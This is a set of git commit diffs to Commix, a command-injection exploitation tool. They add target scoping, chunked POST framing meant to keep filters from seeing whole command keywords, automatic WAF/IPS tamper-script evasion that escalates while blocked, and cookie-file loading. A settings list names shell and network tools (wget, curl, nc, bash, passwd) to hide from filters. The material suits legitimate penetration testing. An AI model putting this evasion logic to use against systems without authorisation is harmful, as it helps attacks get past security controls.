requests. +* Added: New `--scope` option to filter targets by regular expression. * Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file. * Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers. * Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8872fda1db..2091bc8a29 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3306,6 +3306,8 @@ def init_keep_alive(): return if menu.options.http10: reason = "the HTTP/1.0 protocol" + elif menu.options.chunked: + reason = "chunked transfer-encoding" elif menu.options.proxy or menu.options.tor: reason = "a proxy" elif menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: @@ -4177,4 +4179,20 @@ def check_handler(value): settings.print_data_to_stdout("HANDLER => " + ("on" if settings.HANDLER else "off")) return True +""" +True when a target is within the scope given via the '--scope' option. +""" +def in_scope(url): + if not menu.options.scope or not url: + return True + if re.search(menu.options.scope, url, re.I): + return True + # A target can be met more than once (crawling, redirections), so count it just the once. + already_skipped = url in settings.SKIPPED_OUT_OF_SCOPE + settings.SKIPPED_OUT_OF_SCOPE.add(url) + if not already_skipped and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping out of scope target '" + url + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return False + # eof \ No newline at end of file diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 4cdd2f6e20..1318bf9f87 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -285,6 +285,8 @@ def parse_requests(request_file): target = _parse_request(request, request_file) if target is None: continue + if not checks.in_scope(target["url"]): + continue signature = _target_signature(target) if signature in seen: continue @@ -292,6 +294,11 @@ def parse_requests(request_file): targets.append(target) if not targets: + # Saying the file is invalid would be wrong when it was the scope that emptied it. + if menu.options.scope and settings.SKIPPED_OUT_OF_SCOPE: + err_msg = "No target of the '" + os.path.split(request_file)[1] + "' file is within the given scope." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() _invalid_data(request_file) return targets @@ -314,6 +321,8 @@ def logfile_parser(): if len(targets) > 1: info_msg = "Found a total of " + str(len(targets)) + " targets in the provided file." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.MULTI_REQUEST_TARGETS = targets diff --git a/src/core/main.py b/src/core/main.py index e4fdd38ff4..44fcd85f91 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -375,7 +375,8 @@ def parse_target_line(line): if match: target = match.group(0) target = target.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() - return target.rstrip() + target = target.rstrip() + return target if checks.in_scope(target) else None return None """ @@ -1049,6 +1050,23 @@ def _time_limit_reached(signum, frame): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + # Only a request carrying a body can be split into chunks. + if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ + menu.options.logfile, menu.options.forms)): + err_msg = "The '--chunked' switch requires usage of POST data." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.scope: + try: + re.compile(menu.options.scope) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.scope + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + info_msg = "Using regular expression '" + menu.options.scope + "' for filtering targets." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.forms and not settings.CRAWLING: err_msg = "The '--forms' switch requires the '--crawl' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -1225,6 +1243,8 @@ def _dedupe_lazy(iterable): summary_parts.append(str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:]) if summary_parts: info_msg = "Found a total of " + " and ".join(summary_parts) + "." + if settings.SKIPPED_OUT_OF_SCOPE: + info_msg += " Skipped " + str(len(settings.SKIPPED_OUT_OF_SCOPE)) + " target" + "s"[len(settings.SKIPPED_OUT_OF_SCOPE) == 1:] + " out of scope." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Test crawled POST forms first; their method/data are handled separately. diff --git a/src/core/requests/chunked.py b/src/core/requests/chunked.py new file mode 100644 index 0000000000..7a2e326e98 --- /dev/null +++ b/src/core/requests/chunked.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +import string +from src.utils import settings + +""" +Convert POST data to chunked transfer-encoded data. + +The point of the split is that no chunk holds a whole token a filter could match on: the payload +only exists as a whole once the target has put the chunks back together. +""" +def split_post_data(data): + if not data: + return data + + length = len(data) + chunked_data = [] + index = 0 + + while index < length: + chunk_size = random.randint(1, settings.MAX_CHUNK_SIZE) + if index + chunk_size >= length: + chunk_size = length - index + + while chunk_size > 1: + candidate = data[index:index + chunk_size] + # Cutting the chunk shorter moves the boundary inside the keyword, where a filter cannot see it. + if re.search(settings.CHUNKED_SPLIT_KEYWORDS_REGEX, candidate, re.I): + chunk_size -= 1 + else: + break + + candidate = data[index:index + chunk_size] + index += chunk_size + + # The extension is ignored by the target, but it is one more thing an inspecting device must parse. + extension = "".join(random.choice(string.ascii_letters + string.digits) for _ in range(5)) + chunked_data.append("%x;%s%s" % (chunk_size, extension, settings.END_LINE.CRLF)) + chunked_data.append(candidate + settings.END_LINE.CRLF) + + chunked_data.append("0" + settings.END_LINE.CRLF + settings.END_LINE.CRLF) + + return "".join(chunked_data) + +# eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d295387c0d..2e86128b84 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -26,6 +26,7 @@ from src.utils import settings from src.core.injections.controller import checks from src.core.requests import proxy +from src.core.requests import chunked from src.core.requests import redirection from src.core.requests import keepalive from src.core.requests import stability @@ -139,6 +140,12 @@ def check_http_traffic(request): _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' class connection(http_client): + def request(self, method, url, body=None, headers={}, **kwargs): + # The body is framed as chunks already, so the client must not frame it a second time. + if menu.options.chunked: + kwargs["encode_chunked"] = False + return http_client.request(self, method, url, body, headers, **kwargs) + def send(self, req): # Decode request output safely, replacing non-UTF8 bytes instead of crashing. headers = req.decode(settings.DEFAULT_CODEC, errors="replace") @@ -400,7 +407,12 @@ def send_request(request): def do_check(request): request = encode_non_ascii_url(request) - + + # Frame the body as chunks, so a filter inspecting it never sees the payload in one piece. + if menu.options.chunked and request.data and not request.has_header(settings.TRANSFER_ENCODING): + request.data = chunked.split_post_data(request.data.decode(settings.DEFAULT_CODEC, errors="replace")).encode(settings.DEFAULT_CODEC) + request.add_unredirected_header(settings.TRANSFER_ENCODING, "chunked") + # Check if defined any Cookie HTTP header. if menu.options.cookie and not settings.COOKIE_INJECTION: request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 89701e1d15..c5faba9c96 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -300,7 +300,7 @@ def do_process(url, http_request_method): if _urllib.parse.urlparse(url).netloc in href: if (common.extract_regex_result(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href): - if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""): + if (menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or "")) or not checks.in_scope(href): if href not in visited_hrefs: visited_hrefs.append(href) if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/menu.py b/src/utils/menu.py index c34c4e8a58..3da9d0cb31 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -189,6 +189,11 @@ def banner(): default=None, help="Regexp to exclude pages from crawling (e.g. 'logout').") +target.add_option("--scope", + dest="scope", + default=None, + help="Regexp to filter targets (e.g. '(www)?\\.target\\.(com|net|org)').") + target.add_option("--forms", dest="forms", action="store_true", @@ -323,6 +328,12 @@ def banner(): default=False, help="Force usage of SSL/HTTPS.") +request.add_option("--chunked", + action="store_true", + dest="chunked", + default=False, + help="Use HTTP chunked transfer encoded (POST) requests.") + request.add_option("--ignore-proxy", action="store_true", dest="ignore_proxy", diff --git a/src/utils/settings.py b/src/utils/settings.py index 9043af7781..72737c7ffb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "114" +REVISION = "115" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1212,6 +1212,16 @@ class RetryTechniqueException(Exception): # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") +# Largest chunk built by the '--chunked' option, small enough to break up what a filter looks for. +MAX_CHUNK_SIZE = 9 +# Tokens a chunk is not allowed to hold whole, so none of them is ever visible in a single chunk. +CHUNKED_SPLIT_KEYWORDS = ( + "cat", "echo", "ping", "wget", "curl", "nc", "bash", "sh", "python", "perl", "whoami", "uname", + "ifconfig", "ipconfig", "netstat", "dir", "type", "powershell", "cmd", "sleep", "timeout", + "passwd", "etc", "bin", "system32", "&&", "||", ";", "|", "`", "$(", "${" +) +CHUNKED_SPLIT_KEYWORDS_REGEX = "|".join(re.escape(_) for _ in CHUNKED_SPLIT_KEYWORDS) + # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' @@ -1344,6 +1354,8 @@ class AUTH_TYPE(object): PROXY_LOG_XML_REQUEST_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)' # Targets parsed from a file holding more than one request, tested one after the other. MULTI_REQUEST_TARGETS = [] +# Targets left out by the '--scope' option, reported once the target list is known. +SKIPPED_OUT_OF_SCOPE = set() USER_APPLIED_TAMPER = "" @@ -1658,6 +1670,7 @@ class END_LINE: AUTHORIZATION = "Authorization" CONTENT_LENGTH = "Content-Length" CONNECTION = "Connection" +TRANSFER_ENCODING = "Transfer-Encoding" PROXY_CONNECTION = "Proxy-Connection" IF_MODIFIED_SINCE = "If-Modified-Since" IF_NONE_MATCH = "If-None-Match" From e771062a60e905855ae14d280c7126966cefae4d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 10 Sep 2026 15:53:02 +0300 Subject: [PATCH 0773/1023] The JSON report now records WAF/IPS detection status and the applied evasion, while blocked WAF/IPS probes are no longer treated as unreachable targets --- doc/CHANGELOG.md | 3 + src/core/injections/controller/checks.py | 78 ++++++++++++++++++++ src/core/injections/controller/controller.py | 37 +++++++--- src/core/main.py | 11 ++- src/utils/logs.py | 3 + src/utils/settings.py | 29 +++++++- 6 files changed, 147 insertions(+), 14 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eca5720f7b..69ab67d52f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,7 +1,10 @@ ## Version 4.2 (TBA) +* Added: The JSON report now records whether a WAF/IPS was detected and which evasion was applied. +* Fixed: A blocked WAF/IPS detection probe is no longer treated as an unreachable target. * Added: New `--chunked` switch to split POST data into HTTP chunked transfer-encoded requests. * Added: New `--scope` option to filter targets by regular expression. * Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file. +* Fixed: Request file parsing preserves multi-line bodies and original header names. * Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers. * Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. * Added: New `-o` switch to turn on all optimization switches. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2091bc8a29..a82c4f7b03 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -92,6 +92,9 @@ def detect_waf(err_code): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True persist_waf_finding() + else: + # Already evading and still blocked, so what is in use is not enough. + escalate_waf_evasion() return True return False @@ -1983,6 +1986,81 @@ def tamper_check_space2plus_conflict(tamper_name): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run. +A tamper script provided by the user is left alone - the combination is their call, not ours. +""" +def waf_evasion_consent(): + if settings.WAF_EVASION_CONSENT is None: + # The evasion is only ours to choose while the user has not chosen one of their own. + if not settings.WAF_ENABLED or menu.options.skip_waf or settings.USER_APPLIED_TAMPER or menu.options.tamper: + return False + message = "Do you want commix to try bypassing it? [Y/n] " + settings.WAF_EVASION_CONSENT = common.read_input(message, default="Y", check_batch=True).lower() != "n" + return settings.WAF_EVASION_CONSENT + +""" +Frame the payload as chunks, which hides it from a filter without changing what the target +receives. This says nothing about the target's operating system, so it can be used right away. +""" +def apply_waf_transport_evasion(): + if menu.options.chunked or not settings.USER_DEFINED_POST_DATA or not waf_evasion_consent(): + return False + menu.options.chunked = True + settings.WAF_EVASION_APPLIED = "chunked" + # Persistent connections cannot carry a chunked body, so that choice has to be revisited. + init_keep_alive() + info_msg = "Turning on chunked transfer-encoding, to get the payload past it." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +""" +Turn on the tamper scripts that suit the target, once its operating system is known. +""" +def waf_evasion_profiles(): + return settings.WAF_EVASION_PROFILE["windows" if settings.TARGET_OS == settings.OS.WINDOWS else "unix"] + +def apply_waf_evasion(): + if menu.options.tamper or not waf_evasion_consent(): + return + + profile = waf_evasion_profiles()[settings.WAF_EVASION_TIER] + menu.options.tamper = profile + settings.WAF_EVASION_APPLIED = (settings.WAF_EVASION_APPLIED + "," + profile).strip(",") + # The combination was chosen on purpose here, so the warning about their number does not apply. + settings.TAMPER_WARNING_SHOWN = True + info_msg = "Turning on the '" + profile.replace(",", "', '") + "' tamper scripts, to get the payload past it." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Step the evasion up a tier, when what is already tampered is still being blocked. +""" +def escalate_waf_evasion(on_block=True): + if not settings.WAF_EVASION_APPLIED or not settings.WAF_EVASION_CONSENT: + return False + # A blocked response is counted, while techniques having run out speaks for itself. + if on_block: + settings.WAF_BLOCKS_SINCE_EVASION += 1 + if settings.WAF_BLOCKS_SINCE_EVASION < settings.WAF_ESCALATION_THRESHOLD: + return False + + profiles = waf_evasion_profiles() + if settings.WAF_EVASION_TIER + 1 >= len(profiles): + return False + + settings.WAF_BLOCKS_SINCE_EVASION = 0 + settings.WAF_EVASION_TIER += 1 + profile = profiles[settings.WAF_EVASION_TIER] + menu.options.tamper = profile + # The scripts in use are rebuilt from scratch, so the ones being replaced are not kept on. + settings.MULTI_ENCODED_PAYLOAD = [] + tamper_scripts(stored_tamper_scripts=True) + settings.WAF_EVASION_APPLIED = ("chunked," if menu.options.chunked else "") + profile + settings.WAF_EVASION_ESCALATED = True + warn_msg = "Still being blocked, so stepping the evasion up to the '" + profile.replace(",", "', '") + "' tamper scripts." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + """ Tamper script checker """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index fc8ce52865..0ef7a5a4fc 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -757,18 +757,31 @@ def _run_file_based(): _run_file_based, lambda: oob_command_injection_technique(url, timesec, filename, http_request_method), ] - technique_idx = 0 - while technique_idx < len(techniques): - try: - techniques[technique_idx]() - technique_idx += 1 - except settings.SkipTechniqueException: - technique_idx += 1 - except settings.RetryTechniqueException: - pass - except settings.EndDetectionPhaseException: - end_detection = True - break + def _run_techniques(): + technique_idx = 0 + while technique_idx < len(techniques): + try: + techniques[technique_idx]() + # The evasion was stepped up while this ran, so the technique never got a fair try. + if settings.WAF_EVASION_ESCALATED: + settings.WAF_EVASION_ESCALATED = False + continue + technique_idx += 1 + except settings.SkipTechniqueException: + technique_idx += 1 + except settings.RetryTechniqueException: + pass + except settings.EndDetectionPhaseException: + return True + return False + + end_detection = _run_techniques() + # Nothing got through while a protection is in the way, so reach for a heavier evasion and + # give the techniques another go - being blocked throughout is the answer this waits for. + while not end_detection and checks.injection_techniques_status() == False and \ + settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False): + settings.WAF_EVASION_ESCALATED = False + end_detection = _run_techniques() # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: diff --git a/src/core/main.py b/src/core/main.py index 44fcd85f91..ec73a92475 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -304,6 +304,12 @@ def url_response(url, http_request_method): response = examine_request(conn_request, conn_url) if do_waf: settings.WAF_DETECTION_PHASE = False + # The probe being blocked is the detection doing its job, not the target being unreachable: + # answer the protection and reconnect with the request that was asked for. + if response is False and settings.WAF_ENABLED: + checks.apply_waf_transport_evasion() + _conn_start = time.time() + response = examine_request(request, url) if response is not False and response is not None: _conn_end = time.time() settings.INIT_CONNECTION_TIME = _conn_end - _conn_start @@ -711,9 +717,12 @@ def main(filename, url, http_request_method): checks.user_defined_os() except (KeyError, AttributeError): pass + # A WAF/IPS was found in front of the target, so answer it before the payloads are built. + checks.apply_waf_evasion() # Load tamper scripts if menu.options.tamper: - settings.USER_APPLIED_TAMPER = menu.options.tamper + if not settings.WAF_EVASION_APPLIED: + settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) # Prime whitespace-mutating tampers before capturing settings.WHITESPACES. checks.perform_payload_modification(payload="") diff --git a/src/utils/logs.py b/src/utils/logs.py index b50aad27de..23e4d7f876 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -261,6 +261,9 @@ def write_report(): settings.REPORT_JSON["finished"] = str(date.today()) + settings.SINGLE_WHITESPACE + datetime.now().strftime("%H:%M:%S") settings.REPORT_JSON["requests"] = settings.TOTAL_OF_REQUESTS settings.REPORT_JSON["target_os"] = settings.TARGET_OS.title() + # Without these a finding reached through evasion reads the same as one against an open target. + settings.REPORT_JSON["waf_detected"] = settings.WAF_ENABLED + settings.REPORT_JSON["evasion_applied"] = settings.WAF_EVASION_APPLIED or menu.options.tamper or "" try: with open(menu.options.report_json, 'w', encoding=settings.DEFAULT_CODEC) as output_file: json.dump(settings.REPORT_JSON, output_file, indent=2, ensure_ascii=False) diff --git a/src/utils/settings.py b/src/utils/settings.py index 72737c7ffb..25df89932c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "115" +REVISION = "116" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1401,6 +1401,33 @@ class PRIORITY(object): LOWEST = -100 # Tamper script pairs that cannot be combined. +# Tamper scripts turned on by themselves once a WAF/IPS is found in front of the target. +# One script per bypass class: the whitespace, the command names, the casing and the client address. +# Only one of "uninitializedvariable" / "dollaratsigns" / "backslashes" can be used, they conflict. +# Each tier is heavier than the one before, and every one is listed by descending priority. +WAF_EVASION_PROFILE = { + "unix" : [ + "randomcase,xforwardedfor,uninitializedvariable,space2ifs", + "rev,randomcase,xforwardedfor,dollaratsigns,space2htab" + ], + "windows" : [ + "xforwardedfor,doublequotes,caret,space2vtab", + "xforwardedfor,doublequotes,caret,space2htab" + ] +} +# What the evasion actually turned on, so it is reported once and never applied twice. +WAF_EVASION_APPLIED = "" +# Whether the user agreed to the evasion, asked once and remembered for the rest of the run. +WAF_EVASION_CONSENT = None +# Which tier of the profile is in use, stepped up while the protection keeps blocking. +WAF_EVASION_TIER = 0 +# Blocked responses seen since the last step up. A block reaching here already means the evasion +# in use was not enough, so there is nothing to wait for. +WAF_BLOCKS_SINCE_EVASION = 0 +WAF_ESCALATION_THRESHOLD = 1 +# Set when the evasion was just stepped up, so the technique that was blocked is tried again. +WAF_EVASION_ESCALATED = False + INCOMPATIBLE_TAMPER_SCRIPTS = [ # "\$" is a literal "$", so the escape kills the other script's "$@" / "${XX}". ("backslashes", "dollaratsigns"), From 98723b3d5b0a6370b680417276f07f9be4ad9426 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 06:16:14 +0300 Subject: [PATCH 0774/1023] Added new `--load-cookies` and `--live-cookies` options to load cookies from Netscape/wget-format files and re-read them before every request for externally refreshed sessions --- doc/CHANGELOG.md | 2 + src/core/injections/controller/checks.py | 88 ----------- src/core/main.py | 11 ++ src/core/requests/cookies.py | 179 +++++++++++++++++++++++ src/core/requests/headers.py | 11 +- src/core/requests/parameters.py | 5 +- src/utils/menu.py | 10 ++ src/utils/settings.py | 4 +- 8 files changed, 216 insertions(+), 94 deletions(-) create mode 100644 src/core/requests/cookies.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 69ab67d52f..9408a35cff 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: New `--load-cookies` option to load cookies from a file in Netscape/wget format. +* Added: New `--live-cookies` option to re-read cookies from a file before every request, following a session that is refreshed elsewhere. * Added: The JSON report now records whether a WAF/IPS was detected and which evasion was applied. * Fixed: A blocked WAF/IPS detection probe is no longer treated as an unreachable target. * Added: New `--chunked` switch to split POST data into HTTP chunked transfer-encoded requests. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a82c4f7b03..157279cd3f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -559,84 +559,6 @@ def connection_exceptions(err_msg): if stability.should_abandon_target(): raise SystemExit() -""" -Handle server-set cookies. -""" -def handle_server_cookies(response): - - """ - Mask the middle part of long cookie values to avoid leaking sensitive data in prompts. - """ - def mask_cookie_value(cookie_str): - return re.sub( - r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", - r"\g<1>...\g<2>", - cookie_str - ) - - try: - set_cookie_header = [] - declared_cookies = set(c.split('=')[0].strip() for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() - added_cookies = set() - for header, value in response.getheaders(): - if header.lower() == settings.SET_COOKIE.lower(): - _ = re.search(r'^\s*([^=;\s]+=[^;]*)', value) - if _: - name_value = _.group(1) - cookie_name = name_value.split("=")[0] - if cookie_name not in declared_cookies and cookie_name not in added_cookies: - set_cookie_header.append(name_value) - added_cookies.add(cookie_name) - - candidate = settings.COOKIE_PARAM_DELIMITER.join(str(value) for value in set_cookie_header) - - if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: - settings.DECLARED_COOKIES = True - if settings.CRAWLED_SKIPPED_URLS_NUM != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - if menu.options.cookie: - user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) - if user_cookies_set: - while True: - message = "You declared some cookie(s), " - message += "but the server is setting additional ones ('" - message += mask_cookie_value(candidate) - message += "'). Do you want to merge them? [Y/n] " - merge_option = common.read_input(message, default="Y", check_batch=True) - if merge_option in settings.CHOICE_YES: - menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate - break - elif merge_option in settings.CHOICE_NO: - break - elif merge_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(merge_option) - pass - else: - menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate - settings.DECLARED_COOKIES = False - else: - while True: - message = "You have not declared any cookie(s), " - message += "but the server wants to set its own ('" - message += mask_cookie_value(candidate) - message += "'). Do you want to use those? [Y/n] " - set_cookies = common.read_input(message, default="Y", check_batch=True) - if set_cookies in settings.CHOICE_YES: - menu.options.cookie = candidate - break - elif set_cookies in settings.CHOICE_NO: - settings.DECLARED_COOKIES = False - break - elif set_cookies in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(set_cookies) - pass - except (AttributeError, KeyError, TypeError): - pass - """ Tab Autocompleter """ @@ -786,16 +708,6 @@ def ignore_anticsrf_parameter(parameter): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True -""" -Ignoring the Google analytics cookie parameter. -""" -def ignore_google_analytics_cookie(cookie): - if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): - if (len(cookie.split("="))) == 2: - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - return True - """ Adapt newline characters in the payload depending on injection settings and OS. """ diff --git a/src/core/main.py b/src/core/main.py index ec73a92475..4c19f32add 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -40,6 +40,7 @@ from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests +from src.core.requests import cookies from src.core.requests import redirection from src.core.injections.controller import checks from src.core.injections.controller import parser @@ -1066,6 +1067,16 @@ def _time_limit_reached(signum, frame): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + for option, cookies_file in (("--load-cookies", menu.options.load_cookies), ("--live-cookies", menu.options.live_cookies)): + if cookies_file and not os.path.isfile(cookies_file): + err_msg = "It seems the '" + cookies_file + "' file, provided with the '" + option + "' option, does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # The file keeps being read as it changes, so what it holds now would only be overwritten. + if menu.options.load_cookies and not menu.options.live_cookies: + menu.options.cookie = cookies.load_cookies() + if menu.options.scope: try: re.compile(menu.options.scope) diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py new file mode 100644 index 0000000000..89e15031dc --- /dev/null +++ b/src/core/requests/cookies.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import time +from src.utils import menu +from src.utils import common +from src.utils import settings + +""" +Read a cookies file, the way a browser or a helper tool leaves it behind. +""" +def _read_cookies_file(cookies_file): + try: + with open(cookies_file, encoding=settings.DEFAULT_CODEC, errors="replace") as file: + return file.read() + except IOError as err_msg: + err_msg = "There was a problem reading the cookies file '" + cookies_file + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +Turn the Netscape/wget cookie format into the value of a Cookie HTTP header. Every line holds seven +tab-separated fields, of which the last two are the name and the value that the target asked for. +""" +def _parse_netscape_format(content): + cookies = [] + # The prefix marks a cookie the browser keeps from scripts, which says nothing about sending it. + content = re.sub("(?im)^#httpOnly_", "", content) + for line in content.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + fields = line.split("\t") + if len(fields) == 7 and fields[5]: + cookies.append(fields[5] + "=" + fields[6]) + return (settings.COOKIE_PARAM_DELIMITER + settings.SINGLE_WHITESPACE).join(cookies) + +""" +Load the cookies of a Netscape/wget file, as given with the '--load-cookies' option. +""" +def load_cookies(): + content = _read_cookies_file(menu.options.load_cookies) + cookie = _parse_netscape_format(content) + if not cookie: + err_msg = "No valid cookies found in the '" + menu.options.load_cookies + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + info_msg = "Loading cookies from the '" + os.path.split(menu.options.load_cookies)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return cookie + +""" +Read the cookies as they stand right now, from the file that something else keeps up to date. A +file that is not there yet is waited for, since whatever writes it may still be logging back in. +""" +def live_cookies(): + cookies_file = menu.options.live_cookies + if not os.path.isfile(cookies_file) or os.path.getsize(cookies_file) == 0: + warn_msg = "The live cookies file '" + cookies_file + "' is empty or does not exist. " + warn_msg += "Waiting up to " + str(settings.LIVE_COOKIES_TIMEOUT) + " seconds for it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + for _ in range(settings.LIVE_COOKIES_TIMEOUT): + if os.path.isfile(cookies_file) and os.path.getsize(cookies_file) != 0: + break + time.sleep(1) + else: + err_msg = "No cookies were provided in the '" + cookies_file + "' file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + content = _read_cookies_file(cookies_file).strip() + # Either the header as it would be sent, or the tab-separated file a browser exports. + if "\t" in content: + return _parse_netscape_format(content) + return re.sub(r"(?i)\A" + settings.COOKIE + r":\s*", "", content) + +""" +Handle server-set cookies. 